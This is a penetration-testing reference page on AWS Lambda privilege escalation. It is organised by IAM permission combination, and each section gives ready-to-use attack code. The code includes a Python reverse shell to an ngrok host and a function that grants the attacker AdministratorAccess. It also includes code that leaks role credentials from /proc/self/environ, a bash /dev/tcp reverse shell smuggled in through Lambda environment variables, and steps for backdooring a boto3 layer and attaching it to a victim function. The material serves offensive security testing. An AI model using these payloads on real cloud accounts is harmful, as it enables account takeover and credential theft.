AWS - Lambda Privesc

Reading time: 11 minutes

lambda

More info about lambda in:

AWS - Lambda Enum

`iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)`

Users with the `iam:PassRole`, `lambda:CreateFunction`, **and** `lambda:InvokeFunction` permissions can escalate their privileges.
They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.
Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\

A attacker could abuse this to get a **rev shell and steal the token**:

rev.py

```
import socket,subprocess,os,time
def lambda_handler(event, context):
```

```
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(('4.tcp.ngrok.io',14305))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(['/bin/sh','-i'])
    time.sleep(900)
    return 0
```

bash

```
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
    --runtime python3.9 --role <arn_of_lambda_role> \
    --handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda
inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>
```

You could also **abuse the lambda role permissions** from the lambda function itself.
If the lambda role had enough permissions you could use it to grant admin rights to you:

python

```
import boto3
def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return response
```

It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.

python

```
def handler(event, context):
    sessiontoken = open('/proc/self/environ', "r").read()
    return {
        'statusCode': 200,
        'session': str(sessiontoken)
    }
```

bash

```
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```

Potential Impact: Direct privesc to the arbitrary lambda service role specified.

> Note that even if it might looks interesting `lambda:InvokeAsync` **doesn't** allow on it's own to **execute** `aws lambda invoke-async`, you also need `lambda:InvokeFunction`

`iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

Like in the previous scenario, you can **grant yourself the** `lambda:InvokeFunction` permission if you have the permission `lambda:AddPermission`

bash

```
# Check the previous exploit and use the following line to grant you the invoke
permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name
```

```
my_function \
   --action lambda:InvokeFunction --statement-id statement_privesc --principal
"$NON_PRIV_PROFILE_USER_ARN"
```

Potential Impact: Direct privesc to the arbitrary lambda service role specified.

`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

Users with `iam:PassRole`, `lambda:CreateFunction`, **and** `lambda:CreateEventSourceMapping` permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.
They can create a **Lambda function with malicious code and assign it an existing IAM role**.

Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.

bash

```
aws lambda create-function --function-name my_function \
    --runtime python3.8 --role <arn_of_lambda_role> \
    --handler lambda_function.lambda_handler \
    --zip-file fileb://rev.zip
```

If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:

bash

```
aws dynamodb create-table --table-name my_table \
    --attribute-definitions AttributeName=Test,AttributeType=S \
    --key-schema AttributeName=Test,KeyType=HASH \
    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
    --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```

Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:

bash

```
aws lambda create-event-source-mapping --function-name my_function \
    --event-source-arn <arn_of_dynamodb_table_stream> \
    --enabled --starting-position LATEST
```

With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:

bash

```
aws dynamodb put-item --table-name my_table \
    --item Test={S="Random string"}
```

Potential Impact: Direct privesc to the lambda service role specified.

`lambda:AddPermission`

An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):

bash

```
# Give yourself all permissions (you could specify granular such as
lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action
'*' --principal arn:<your user arn>
```

```
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```

Potential Impact: Direct privesc to the lambda service role used by granting permission to modify the code and run it.

`lambda:AddLayerVersionPermission`

An attacker with this permission can **grant himself (or others) the permission** `lambda:GetLayerVersion`. He could access the layer and search for vulnerabilities or sensitive information

bash

```
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id
xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```

Potential Impact: Potential access to sensitive information.

`lambda:UpdateFunctionCode`

Users holding the `lambda:UpdateFunctionCode` permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**
The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.

Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.

bash

```
# The zip should contain the lambda code (trick: Download the current one and add your
code there)
aws lambda update-function-code --function-name target_function \
    --zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access
```

Potential Impact: Direct privesc to the lambda service role used.

`lambda:UpdateFunctionConfiguration`

RCE via env variables

With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:

bash

```
aws --profile none-priv lambda update-function-configuration --function-name <func-
name> --environment "Variables=
{PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >&
/dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```

For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:

macOS Process Abuse - HackTricks

RCE via Lambda Layers

Lambda Layers allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.

Inside lambda you can check the paths from where python code is loaded with a function like the following:

```python
import json
import sys

def lambda_handler(event, context):
    print(json.dumps(sys.path, indent=2))
```

These are the places:

1. /var/task
2. /opt/python/lib/python3.7/site-packages
3. /opt/python
4. /var/runtime
5. /var/lang/lib/python37.zip
6. /var/lang/lib/python3.7
7. /var/lang/lib/python3.7/lib-dynload
8. /var/lang/lib/python3.7/site-packages
9. /opt/python/lib/python3.7/site-packages
10. /opt/python

Exploitation

It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:

```bash
pip3 install -t ./lambda_layer boto3
```

You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).

Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**

```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```

Now, make the uploaded lambda layer **accessible by any account**:

```bash
aws lambda add-layer-version-permission --layer-name boto3 \
    --version-number 1 --statement-id public \
    --action lambda:GetLayerVersion --principal *
```

And attach the lambda layer to the victim lambda function:

```bash
```

```
aws lambda update-function-configuration \
    --function-name <func-name> \
    --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
    --timeout 300 #5min for rev shells
```

The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method.

A **more stealth way to exploit this vulnerability** can be found in:

AWS - Lambda Layers Persistence

Potential Impact: Direct privesc to the lambda service role used.

`iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!

IBM Cloud Pentesting

Lambda MitM

Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:

AWS - Steal Lambda Requests

References

- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/